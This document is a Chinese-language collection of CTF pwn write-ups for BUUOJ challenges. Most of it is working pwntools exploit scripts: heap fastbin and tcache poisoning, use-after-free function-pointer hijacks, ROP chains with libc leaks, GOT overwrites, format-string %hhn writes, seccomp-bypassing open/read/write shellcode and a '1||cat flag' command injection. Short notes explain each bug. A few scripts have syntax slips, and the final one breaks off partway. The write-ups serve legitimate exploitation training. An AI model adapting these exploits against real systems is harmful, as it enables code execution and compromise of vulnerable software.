正文
babyfengshui_33c3_2016
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './babyfengshui_33c3_2016'
e = ELF(filename)
p = process(filename)
# p = remote("node3.buuoj.cn", 29672)
def Add(name, text, text_buf_len=None, text_len=None):
"""
struct st { char* desc; char name[0x7c]; };
输入 description 长度,malloc指定长度得ptr_desc,然后memset置零
再malloc(0x80),同样置零得ptr_st,这个应该是一个结构体,ptr_st.ptr_desc = ptr_desc
结构体指针数组 arr_st[index] = ptr_st
然后f1 get_name(arr_st[index].name, 0x7c) -> fgets(v0, v1, STDIN), strchr(v0, 0x0a)[0]=0
index+=1
f2 get_text(index-1) -> if check arr_st[a0].desc+len < (arr_st[a0] - 4) <---- &(chunk.size), then get_name(arr_st[a0].desc, len+1)
"""
p.sendlineafter(b'Action: ', b'0')
p.sendlineafter(b'size of description: ', bytes(f'{text_buf_len or len(text)}', encoding='utf8'))
p.sendlineafter(b'name: ', name)
p.sendlineafter(b'text length: ', bytes(f'{text_len or len(text)}', encoding='utf8'))
p.sendlineafter(b'text: ', text)
def Delete(index):
"""
free(arr_st[a0].desc)
free(arr_st[a0])
arr_st[0] = NULL
"""
p.sendlineafter(b'Action: ', b'1')
p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))
def Display(index):
"""
printf("%s", arr_st[a0].name)
printf("%s", arr_st[a0].desc)
"""
p.sendlineafter(b'Action: ', b'2')
p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))
def Update(index, text, text_len=None):
""""""
p.sendlineafter(b'Action: ', b'3')
p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))
p.sendlineafter(b'text length: ', bytes(f'{text_len or len(text)}', encoding='utf8'))
p.sendlineafter(b'text: ', text)
def Exit():
p.sendlineafter(b'Action: ', b'4')
Add(b'name0', b'desc0', text_buf_len=0x10-8) # index=0, 0x10 0x88, x
Add(b'name1', b'desc1', text_buf_len=0x10-8) # index=1, 0x10 0x88
Add(b'name2', b'desc2', text_buf_len=0x10-8) # index=2, 0x10 0x88, x
Add(b'/bin/sh', b'/bin/sh') # index=3, 0x10 0x88,
c_func_name = 'free'
c_func_got = e.got[c_func_name]
Delete(0)
Delete(2)
payload_leak_got = b'x' * (0x88 - 8) + \
b'xxxx' + p32(0x10|0x1) + b'x'*8 + \
b'yyyy' + p32(0x88|0x1) + p32(c_func_got) + b'\x00'
Add(b'name4', payload_leak_got, text_buf_len=0x80-0x8) # index=4
Display(1)
p.recvuntil(b'description: ')
c_func_addr = u32(p.recv(4))
log.success(f'c: {c_func_name}() address={hex(c_func_addr)}')
searcher = LibcSearcher(func=c_func_name, address=c_func_addr)
c_base_addr = c_func_addr - searcher.dump(c_func_name)
system_addr = c_base_addr + searcher.dump('system')
log.success(f'c base address={hex(c_base_addr)}; system()={hex(system_addr)}')
Update(1, p32(system_addr) + b'zzzz')
Delete(3)
p.interactive()
jarvisOJ_level3_x64
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './level3_x64'
# p = process(filename)
p = remote('node3.buuoj.cn', 28216)
elf = ELF(filename)
libc = ELF('./libc/ubuntu_16_x86_64_libc-2.23.so')
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
log.info(f'write@plt={hex(elf.plt["write"])}, write in symbols: {hex(libc.sym["write"])}')
payload = b'a'*(0x80+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + p64(0) + p64(elf.plt["write"]) + p64(elf.sym["main"])
p.sendlineafter(b'Input:\n', payload)
write_address = u64(p.recv(8))
searcher = LibcSearcher()
searcher.add_condition('write', write_address)
base_address = write_address - libc.sym['write']
gadgets = [0x4526a, 0xf02a4, 0xf1147, 0x45216]
one_gadget = gadgets[1] + base_address
log.info(f'write={hex(write_address)}, libc={hex(base_address)}, gadget={hex(one_gadget)}')
payload = b'a'*(0x80+8) + p64(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()
[ZJCTF 2019]EasyHeap
#!/usr/bin/python3.6
from pwn import *
filename = './easyheap'
# p = process(filename)
p = remote('node3.buuoj.cn', 26098)
elf = ELF(filename)
def heap_create(content, size=None):
p.sendlineafter(b'Your choice :', b'1')
p.sendlineafter(b'Size of Heap : ', bytes(f'{size or (len(content) + 1)}', encoding='utf8'))
p.sendlineafter(b'Content of heap:', content)
def heap_edit(index, content, size=None):
p.sendlineafter(b'Your choice :', b'2')
p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))
p.sendlineafter(b'Size of Heap : ', bytes(f'{size or (len(content) + 1)}', encoding='utf8'))
p.sendlineafter(b'Content of heap : ', content)
def heap_delete(index):
p.sendlineafter(b'Your choice :', b'3')
p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))
fake_chunk = 0x6020ad # x/16gx 0x6020c0-0x10+5-8
heap_create(b'@@@@@@@@', size=0x18) # 0, 0x20
heap_create(b'!!!!!!!!', size=0x18) # 1, 0x20
heap_create(b'????????', size=0x68) # 2, 0x70
heap_delete(2) # 把 2 放进去 fastbin
heap_edit(1, b'}' * 0x18 + p64(0x71) + p64(fake_chunk) + p64(fake_chunk)) # 构造 fastbin 链表,插入一个假的chunk,这个chunk在heap_array上方若干字节处
heap_create(b']]]]]]]]', size=0x68) # 2, 0x70, get the original chunk of 2
heap_create(b'[[[[[[[[', size=0x68) # 3, 0x70, get the fake chunk
# -_-||| 看到ida里面有 system(cat flag) 还以为可以直接触发,结果。。。
# cat: /home/pwn/flag: No such file or directory
# heap_edit(3, b':'*(0x6020c0-0x6020bd) + p64(0x1333))
# p.sendlineafter(b'Your choice :', bytes(f'{0x1305}', encoding='utf8'))
# https://n0vice.top/2020/04/25/%E5%B8%B8%E8%A7%81fastbin-attack%E5%A5%97%E8%B7%AF%E5%AD%A6%E4%B9%A0/
# 写入system的plt地址到free的got,再free(/bin/sh)
heap_array = 0x6020e0 # p/x &heaparray
log.info(f'free@got={hex(elf.got["free"])}, system@plt={hex(elf.plt["system"])}')
heap_edit(3, b':'*(0x6020e0-(fake_chunk + 0x10)) + p64(elf.got["free"]))
heap_edit(0, p64(elf.plt["system"]))
heap_edit(2, b'/bin/sh')
heap_delete(2)
p.interactive()
picoctf_2018_rop
#!/usr/bin/python3.6
from pwn import *
filename = './picoctf_2018_rop'
# p = process(filename)
p = remote('node3.buuoj.cn', 28747)
elf = ELF(filename)
win1 = elf.sym['win_function1']
win2 = elf.sym['win_function2']
flag = elf.sym['flag']
main = elf.sym['main']
pop_ebx_ret = 0x0804840d
payload = b'!'*0x18 + p32(0) + p32(win1) + p32(win2) + p32(pop_ebx_ret) + p32(0x0BAAAAAAD) + p32(flag) + p32(main) + p32(0x0DEADBAAD)
p.sendlineafter(b'Enter your input> ', payload)
p.interactive()
[V&N2020 公开赛]simpleHeap
bjdctf_2020_babyrop2
这是一个开了栈溢出警惕标志的ROP题目,里面有一个格式字符串漏洞可以输出canary。64bit系统前6个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8d, r9d)。这个地方需要输出第7个参数的话要用上一点技巧,在格式字符串中多次使用同一个变量。此外这个地方用printf搜不到libc,原因暂时没搞清楚。
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './bjdctf_2020_babyrop2'
#p = process(filename)
p = remote('node3.buuoj.cn', 29094)
elf = ELF(filename)
#libc = ELF(f'/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF(f'libc/ubuntu_16_x86_64_libc-2.23.so')
p.sendlineafter(b"I'll give u some gift to help u!\n", b'%7$lx')
canary = int(p.recvuntil(b'\n')[:-1], 16)
assert canary > 0
log.success(f'canary found: {hex(canary)}')
pop_rdi_ret = 0x0000000000400993
leak = b'\x11'*(0x20-8) + p64(canary) + b'\x22'*8 + p64(pop_rdi_ret) + p64(elf.got['__isoc99_scanf']) + p64(elf.plt['printf']) + p64(elf.sym['vuln'])
p.sendlineafter(b'Pull up your sword and tell me u story!\n', leak)
ret = p.recv(6).ljust(8, b'\x00')
c_func_addr = u64(ret)
c_func_name = '__isoc99_scanf'
searcher = LibcSearcher(func=c_func_name, address=c_func_addr)
base = c_func_addr - searcher.dump(c_func_name)
system = base + searcher.dump('system')
bin_sh = base + searcher.dump('str_bin_sh')
log.success(f'{c_func_name}:{hex(c_func_addr)}, base={hex(base)}, system={hex(system)}, /bin/sh={hex(bin_sh)}')
exploit = b'\x11'*(0x20-8) + p64(canary) + b'\x22'*8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.sendline(exploit)
p.interactive()
jarvisoj_test_your_memory
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './memory'
#p = process(filename)
p = remote('node3.buuoj.cn', 28369)
elf = ELF(filename)
cmd_str = 0x080487e0
func_addr = elf.sym['win_func']
main_addr = elf.sym['main']
#p.sendlineafter(b'...', b'a'*(0x13+4) + p32(func_addr) + p32(main_addr) + p32(cmd_str))
p.send(b'a'*(0x13+4) + p32(func_addr) + p32(main_addr) + p32(cmd_str) + b'\n')
p.interactive()
bjdctf_2020_router
从stdin读取字符串当作命令执行,没有过滤。直接输入 1||cat flag
即可~
hitcontraining_uaf
正如题目的名字,释放内存之后没有对相关的指针变量置零。利用 fastbin 使得 glibc分配重叠的内存,从而修改结构体的函数指针。
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './hacknote'
# p = process(filename)
p = remote('node3.buuoj.cn', 29142)
elf = ELF(filename)
def add(content, size=None):
if size is None:
size = len(content)
p.sendlineafter(b'Your choice :', b'1')
p.sendlineafter(b'Note size :', bytes(f'{size}', encoding='utf8'))
p.sendlineafter(b'Content :', content)
def del_(index):
p.sendlineafter(b'Your choice :', b'2')
p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))
def put(index):
p.sendlineafter(b'Your choice :', b'3')
p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))
magic_addr = 0x08048945
add(b'a'*16)
add(b'b'*16)
del_(0)
del_(1)
add(p32(magic_addr), 8)
put(0)
p.interactive()
PicoCTF_2018_buffer_overflow_1
perl -e 'print "a"x(0x28+4) ."\xcb\x85\x04\x08"'|./PicoCTF_2018_buffer_overflow_1
缓冲区溢出的例子。不知道为什么perl输出定向到nc远程的时候会没有输出,最后还是用pwntools。
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher
filename = './PicoCTF_2018_buffer_overflow_1'
#p = process(filename)
p = remote('node3.buuoj.cn', 29181)
elf = ELF(filename)
p.sendlineafter(b'string', b'a'*(0x28+4)+p32(0x80485cb))
p.interactive()
[ZJCTF 2019]Login
这是一个用C++写的程序,开启了栈溢出警惕标志。哎,实在是看不懂C++的符号,最后装了radare2和rghidra反编译出稍微能看得懂的源码;而且这个程序的源代码还用了C++的lambda特性,无捕获列表的lambda对象可以隐式转换为函数指针,还好以前看过这篇文章~
#!/usr/bin/python3
from pwn import *
filename = './login'
p = process(filename)
# p = remote('node3.buuoj.cn', 26457)
elf = ELF(filename)
p.sendlineafter(b'username: ', b'1')
payload = b'2jctf_pa5sw0rd\x00'
# 使用0填充,防止snprintf输出内容覆盖这个地址
payload += b'\x00'*(0x60-0x18-len(payload)) + p64(0x00400e88)
p.sendlineafter(b'password: ', payload)
p.interactive()
cmcc_simplerop
cmcc_simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
程序是静态链接的,体积比一般的题目大,而且符号表里没有system,ROPgadget也没有找到/bin/sh,所以需要把/bin/sh写入到一个固定的地址、然后通过中断int 0x80
触发系统调用。
#!/usr/bin/python3
from pwn import *
# from LibcSearcher import LibcSearcher
filename = './cmcc_simplerop'
p = process(filename
elf = ELF(filename)
# pop eax; ret
pop_eax_ret = 0x080bae06
writable_addr = 0x080eb000+0x1000
# pop edx ; ret
pop_edx_ret = 0x0806e82a
# pop ebp ; pop esi ; pop edi ; ret
pop_3_ret = 0x0809de85
# pop ecx ; pop ebx ; ret
pop_ecx_ebx_ret = 0x0806e851
# int 0x80
int_addr = 0x080493e1
# Leak function address
payload = b'\x33'*(0x1c+0x4) + \
p32(elf.sym['read']) + p32(pop_3_ret) + p32(0) + p32(writable_addr) + p32(0x10) + \
p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(writable_addr+0x8) + p32(writable_addr) + p32(pop_edx_ret) + p32(writable_addr+0x8) + p32(int_addr)
p.sendlineafter(b'Your input :', payload)
p.send(b'/bin/sh\x00'+p32(writable_addr + 8)+p32(0))
p.interactive()
roarctf_2019_easy_pwn
和vn_pwn_simpleHeap一样的堆溢出类型,需要好好调试找到合适的 one_gadget。
#!/usr/bin/python3.6
from pwn import *
# from LibcSearcher import LibcSearcher
executable = './roarctf_2019_easy_pwn'
# libc = '/lib/x86_64-linux-gnu/libc.so.6'
libc = '/home/ubuntu/project/libc/buuoj-ubuntu-16-x86_64-libc-2.23.so'
# p = process(executable)
p = remote('node3.buuoj.cn', 26860)
elf = ELF(executable)
libc = ELF(libc)
def create(size):
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'size: ', f'{size}'.encode())
def write(index, content, size=None):
size = size or len(content)
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'index: ', f'{index}'.encode())
p.sendlineafter(b'size: ', f'{size}'.encode())
p.sendlineafter(b'content: ', content)
def drop(index):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'index: ', f'{index}'.encode())
def show(index):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'index: ', f'{index}'.encode())
create(24) # 0, 0x20
create(0x20) # 1, 0x30
create(0x60) # 2, 0x70
create(0x20) # 3, in case of getting merged with av->top
payload_leak = b'1'*24 + bytes([0x10+0x20+0x10+0x60+1])
write(0, payload_leak, 24+0xa)
drop(1)
create(0x20) # 1
show(2)
p.recvuntil(b'content: ')
main_arena = u64(p.recv(6).ljust(8, b'\x00'))-0x58
malloc_hook = main_arena - 0x10
realloc_hook = malloc_hook - 0x8
base = realloc_hook - libc.sym['__realloc_hook']
log.success(f'main_arena={hex(main_arena)}, malloc hook={hex(malloc_hook)}, realloc_hook={hex(realloc_hook)}, base={hex(base)}')
create(0x60) # 4, overlapped with 2
drop(2)
write(4, p64(main_arena-0x33))
create(0x60) # 2, overlapped with 4
create(0x60) # 5, faked chunk
# one_gadgets = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gadget = one_gadgets[2] + base
libc_realloc = libc.sym['__libc_realloc'] + base
log.info(f'using gadget={hex(gadget)}')
write(5, b'1'*0xb + p64(gadget) + p64(libc_realloc+16)) # overwrite
create(0x20)
p.interactive()
pwnable_orw
从这个题目学到了和prctl
函数有关的新的知识点。简单的来说就是沙箱过滤规则,而且这里用的是白名单方法。文章里面提到可以切换CPU模式,不过我还是搞不出来;最后看了其他人的文章,原来可以不拉起shell、而直接打开/读取/输出flag文件(open, read, write)~
seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
seccomp-tools这个工具要求ruby2.4以上,然而ubuntu16.04自带的是2.3。有鉴于过往升级系统自带软件有可能存在的坑,所以就用了一个叫rbenv(rbenv-installer)的工具管理ruby版本,只是这玩意儿安装起来速度慢的一批得加速一下。
#!/usr/bin/python3.6
from pwn import *
executable = './orw'
p = process(executable)
#p = remote('node3.buuoj.cn', 25119)
payload = asm("""
xor eax, eax
push eax #null byte
push 0x67616c66
push 0x2f2f2f2e
mov ebx, esp #arg1, pointer to ".///flag"
mov ecx, eax #arg2, O_RONLY
mov edx, eax #arg3, 0
push 0x5
pop eax #syscall 0x5 for open
int 0x80 #invoke
mov ebx, eax #arg1, fd
mov ecx, esp #arg2, buf
sub esp, 0x30 #buf
push 0x2a
pop edx #arg3, bytes
push 0x3
pop eax #syscall 0x3 for read
int 0x80
xor ebx,ebx
mov bl,0x1 #arg1, STDOUT
push 0x2a
pop edx #arg3, bytes
push 0x4
pop eax #syscall 0x3 for read
int 0x80""")
payload += b'1'*(0xc8- len(payload))
p.send(payload)
p.interactive()
jarvisoj_level1
本地程序和远程题目的行为不一样。。。本地程序在vulnerable_function里面会输出缓冲区的地址,但是远程题目貌似把这个动作放到main函数里了,不清楚缓冲区的具体位置;只能猜测是vulnerable_function只剩下一个有栈溢出的read函数调用。
#!/usr/bin/python3.6
from pwn import *
# from LibcSearcher import LibcSearcher
executable = './level1'
glibc = '/home/ubuntu/project/libc/buuoj-ubuntu-16-x86-libc-2.23.so'
#p = process(executable)
p = remote('node3.buuoj.cn', 29719)
e = ELF(executable)
libc = ELF(glibc)
payload = b'\x90'*(0x88+4) + p32(e.plt["write"]) + p32(e.sym['main']) + p32(1) + p32(e.got["write"]) + p32(4)
log.info(f'{len(payload)}')
p.sendline(payload)
addr = u32(p.recv(4))
base = addr - libc.sym['write']
system = base + libc.sym['system']
bin_sh = base + 0x0015902b
log.success(f'write={hex(addr)}, base={hex(base)}, system={hex(system)}, /bin/sh={hex(bin_sh)}')
payload = b'\x90'*(0x88+4) + p32(system) + p32(e.sym["main"]) + p32(bin_sh)
p.send(payload)
p.interactive()
picoctf_2018_buffer overflow 2
#!/usr/bin/python3.6
from pwn import
executable = './PicoCTF_2018_buffer_overflow_2'
# p = process(executable)
p = remote('node3.buuoj.cn', 25190)
e = ELF(executable)
payload = b'\x90'*(0x6c+4) + p32(e.sym['win']) + p32(e.sym['main']) + p32(0xdeadbeef) + p32(0xdeadc0de)
p.sendlineafter(b'Please enter your string:', payload)
p.interactive()
[V&N2020 公开赛]easyTHeap
有UAF风险,而且限制了malloc和free的调用次数。本地的glibc版本带了double free检测,和远程靶机的版本不同,得自己编译一个
#!/usr/bin/python3.6
from pwn import *
filename = './vn_pwn_easyTHeap'
# p = process(filename)
p = remote('node3.buuoj.cn', 28164)
# libc = ELF('/home/ubuntu/glibc-2.27/lib/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-18-glibc-2.27.so')
def Add(size):
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'size?', bytes(f'{size}', encoding='utf8'))
def Edit(index, content):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))
p.sendlineafter(b'content:', content)
def Show(index):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))
def Delete(index):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))
def Exit():
p.sendlineafter(b'choice: ', b'5')
Add(0x80) # 0
Add(0x20) # 1
Delete(0)
Delete(0)
Show(0)
tcache_chunk_addr = u64(p.recv(6).ljust(8, b'\x00'))
tcache_count_addr = tcache_chunk_addr - 0x250 # size of tcache_perthread_struct
log.success(f'tcache chunk: {hex(tcache_chunk_addr)}, count: {hex(tcache_count_addr)}')
Add(0x80) # 2, 0
Edit(2, p64(tcache_count_addr))
Add(0x80) # 3, 2, 0
Add(0x80) # 4, 申请到tcache->counts处的内存
Edit(4, b'\x08' * 64) # 修改所有tcache bins的长度
Delete(2)
Show(0)
arena_top_addr = u64(p.recv(6).ljust(8, b'\x00'))
# offset = 0x60
offset = 88
realloc_hook_addr = arena_top_addr - offset - 0x20
libc_base_addr = realloc_hook_addr - libc.sym['__realloc_hook']
log.success(f'top={hex(arena_top_addr)}, realloc hook={hex(realloc_hook_addr)}, libc base={hex(libc_base_addr)}')
# gadgets = [0x3f9ed, 0xd6872, 0xd6877]
gadgets = [0x4f322, 0x10a38c, 0x4f2c5]
gadget = gadgets[1]+ libc_base_addr
log.success(f'gadget={hex(gadget)}')
realloc = libc_base_addr + libc.sym['__libc_realloc']
log.success(f'realloc={hex(realloc)}')
Edit(4, b'\x08' * 64 + p64(realloc_hook_addr)) # 因为tcache->counts紧邻tcache->entries,所以修改tcache bin使得分配特定的内存,而且没有检查
Add(24) # 5
Edit(5, p64(gadget) + p64(realloc+4))
Add(100)
p.interactive()
xdctf2015_pwn200
#!/usr/bin/python3.6
from pwn import *
filename = './bof'
# p = process(filename)
p = remote('node3.buuoj.cn', 28510)
e = ELF(filename)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-16-glibc-2.23.so')
payload_leak = b'\x11' * (0x6c + 4) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)
p.recvuntil(b'XDCTF2015~!\n')
p.sendline(payload_leak)
c_func_addr = u32(p.recv(4))
libc_base_addr = c_func_addr - libc.sym['write']
system_addr = libc_base_addr + libc.sym['system']
bin_sh_addr = libc_base_addr + 0x0015902b
log.success(f'write={hex(c_func_addr)}, libc base={hex(libc_base_addr)}')
payload_exploit = b'\x11' * (0x6c + 4) + p32(system_addr) + p32(e.sym['main']) + p32(bin_sh_addr)
p.sendline(payload_exploit)
p.interactive()
ciscn_2019_n_3
有UAF问题,free之后没有对指针变量置零;覆盖结构体的函数指针以及提供一个"sh"
字符串就可以了。
#!/usr/bin/python3.6
from pwn import *
filename = './ciscn_2019_n_3'
# p = process(filename)
p = remote('node3.buuoj.cn', 25985)
e = ELF(filename)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-16-glibc-2.23.so')
def new_(index, content=None, length=None, type=None):
p.sendlineafter(b'CNote > ', b'1')
p.sendlineafter(b'Index > ', str(index).encode())
if isinstance(content, int):
p.sendlineafter(b'Type > ', b'1')
p.sendlineafter(b'Value > ', str(content).encode())
elif content is not None:
length = length or len(content)
p.sendlineafter(b'Type > ', b'2')
p.sendlineafter(b'Length > ', str(length).encode())
p.sendafter(b'Value > ', content)
else:
p.sendlineafter(b'Type > ', str(type).encode())
def show(index):
p.sendlineafter(b'CNote > ', b'3')
p.sendlineafter(b'Index > ', str(index).encode())
def del_(index):
p.sendlineafter(b'CNote > ', b'2')
p.sendlineafter(b'Index > ', str(index).encode())
new_(0, content=0)
new_(1, content=1)
new_(2, content=2)
del_(0)
del_(1)
new_(3, content=b'sh\x00\x00'+p32(e.plt['system'])+b'\n', length=0xc)
del_(0)
p.interactive()
bbys_tu_2016
#!/usr/bin/python3.6
from pwn import *
filename = './bbys_tu_2016'
#p = process(filename)
p = remote('node3.buuoj.cn', 26098)
e = ELF(filename)
p.sendline(b'b'*(0x14+4)+p32(e.sym['printFlag']))
p.interactive()
gyctf_2020_borrowstack
本身只有两次写入机会,第一次写入栈的缓冲区,第二次写入一个全局变量;但缓冲区溢出的部分只能覆盖到返回地址,所以需要同时覆盖rbp并加上leave ret指令,把栈转移到全局变量所在的内存。由于全局变量位于rw段的起始位置,前一个段为只读,要注意抬高转移的目的地址,防止写入到前一个段引起segfault
#!/usr/bin/python3.6
from pwn import *
filename = './gyctf_2020_borrowstack'
#p = process(filename)
p = remote('node3.buuoj.cn', 28284)
e = ELF(filename)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_64_libc-2.23.so')
#gadgets = [0x4f432, 0x10a41c]
gadgets = [0x4526a, 0xf02a4, 0xf1147, 0x45216]
offset = 0x40
fake_rbp = e.sym['bank'] + offset
leave_ret = 0x0000000000400699
pop_rdi_ret = 0x0000000000400703
pop_r12_15_ret = 0x004006fc # pop r12, r13, r14, r15, ret
call_r12 = 0x004006d6 # zero rbx; rdx<-r13, rsi<-r14, edi<-r15d
ret = 0x00000000004004c9
pop_r15_ret = 0x0000000000400702
p.sendafter(b'want', b'a'*0x60+p64(fake_rbp)+p64(leave_ret))
payload = b'b' * offset
payload += p64(fake_rbp+0x30)
payload += p64(pop_rdi_ret) + p64(e.got['read']) + p64(e.plt['puts'])
write_addr = e.sym['bank'] + len(payload) + 6*8
call_addr = write_addr + 8
payload += p64(pop_r12_15_ret) + p64(call_addr) + p64(8) + p64(write_addr) + p64(0) + p64(call_r12)
payload += p64(0) + p64(e.plt['read']) + p64(pop_r15_ret)
log.info(f'len={hex(len(payload))}')
p.sendafter(b'now!', payload)
p.recvuntil(b'\n')
leaked_func = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_func - libc.sym['read']
gadget = gadgets[0] + libc_base
log.success(f'read={hex(leaked_func)}; base={hex(libc_base)}; gadget={hex(gadget)}')
p.send(p64(gadget))
p.interactive()
inndy_rop
跟cmcc_simplerop 一样是静态链接的程序,剥掉了system以及/bin/sh,需要自己调用read把/bin/sh写入内存。
#!/usr/bin/python3.6
from pwn import *
filename = './rop'
# p = process(filename)
p = remote('node3.buuoj.cn', 26957)
e = ELF(filename)
write_addr = 0x80e9000+0x10a0
pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
# pop esi ; pop ebx ; pop edx ; ret
pop_esi_ebx_edx_ret = 0x0806ecd8
int_0x80 = 0x0806c943
offset = 0xc + 4
payload = b'b' * offset + p32(e.sym["read"]) + p32(pop_esi_ebx_edx_ret) + p32(0) + p32(write_addr) + p32(0xc) + p32(pop_ecx_ret) + p32(write_addr+0x8) + p32(pop_edx_ret) + p32(write_addr+0xc) + p32(pop_eax_ret) + p32(11) + p32(int_0x80)
p.sendline(payload)
payload = b'/bin/sh\x00' + p32(write_addr) + p32(0)
p.sendline(payload)
p.interactive()
axb_2019_fmt32
人类的本质是:人类的本质是:人类的本质是:~
溢出程序存在一个格式字符串漏洞。第一步先通过%s泄露libc;第二步利用 %hhn 控制符将字节写入指定地址的特性,使用三个 %hhn 把printf got地址的低三个字节覆盖为system,最后再输入 /bin/sh。因为system的地址是动态变化的,第二步也要根据system动态产生格式字符串。
#!/usr/bin/python3.6
from pwn import *
filename = './axb_2019_fmt32'
# p = process(filename)
p = remote('node3.buuoj.cn', 28141)
e = ELF(filename)
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_libc-2.23.so')
def send_payload(data):
p.sendlineafter(b'Please tell me:', data)
c_func_name = 'printf'
log.info(f'got={hex(e.got[c_func_name])}')
send_payload(b'Z' + p32(e.got[c_func_name]) + b'%c'*7 + b'%s')
p.recvuntil(p32(e.got[c_func_name]))
p.recv(7)
c_func_addr = u32(p.recv(4))
libc_base = c_func_addr - libc.sym[c_func_name]
system_addr = libc_base + libc.sym['system']
printf_got = e.got['printf']
log.success(f'printf_got={hex(printf_got)}, {c_func_name}={hex(c_func_addr)}, base={hex(libc_base)}, system={hex(system_addr)}')
length_addr_pairs = [(b, printf_got+i) for i, b in enumerate(p32(system_addr)[:3])]
length_addr_pairs = sorted(length_addr_pairs, key=lambda i: i[0])
log.info(f'length={[(hex(b), hex(addr)) for b, addr in length_addr_pairs]}')
front = b'Y' + p32(0x46464646).join([p32(b[1]) for b in length_addr_pairs])
offset = len(b'Repeater:'+front)
assert length_addr_pairs[0][0] > 6+offset
payload = b'%c'*6
b1, b2, b3 = map(lambda i: i[0], length_addr_pairs)
payload += f'%{b1-6-offset}c%hhn%{b2-b1}c%hhn%{b3-b2}c%hhn'.encode()
payload = front + payload
log.info(f'payload={payload}')
send_payload(payload)
p.sendline(f';cat flag.txt')
p.interactive()
others_babystack
开启canary保护,需要先leak出canary的值。一开始我以为0x100-0x90等于0x10只能刚好覆盖RA>_<,不知道怎么ROP,真是机智死了~
#!/usr/bin/python3.6
from pwn import *
filename = './babystack'
# p = process(filename)
p = remote('node3.buuoj.cn', 25313)
e = ELF(filename)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_64_libc-2.23.so')
pop_rdi_ret = 0x0000000000400a93
ret = 0x000000000040067e
main = 0x00400908
p.sendlineafter(b'>> ', b'1')
p.send(b'a'*(0x90-8)+b'X')
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'aaaaX')
canary = b'\x00'+p.recv(7)
log.success(f'canary={canary}')
p.sendlineafter(b'>> ', b'1')
c_func_name = 'puts'
p.send(b'b'*(0x90-8)+canary+p64(0x00400a30)+p64(pop_rdi_ret)+p64(e.got[c_func_name])+p64(e.plt[c_func_name])+p64(main))
p.sendlineafter(b'>> ', b'3')
c_func_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = c_func_addr - libc.sym[c_func_name]
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success(f'{c_func_name}={hex(c_func_addr)}, base={hex(libc_base)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
p.sendlineafter(b'>> ', b'1')
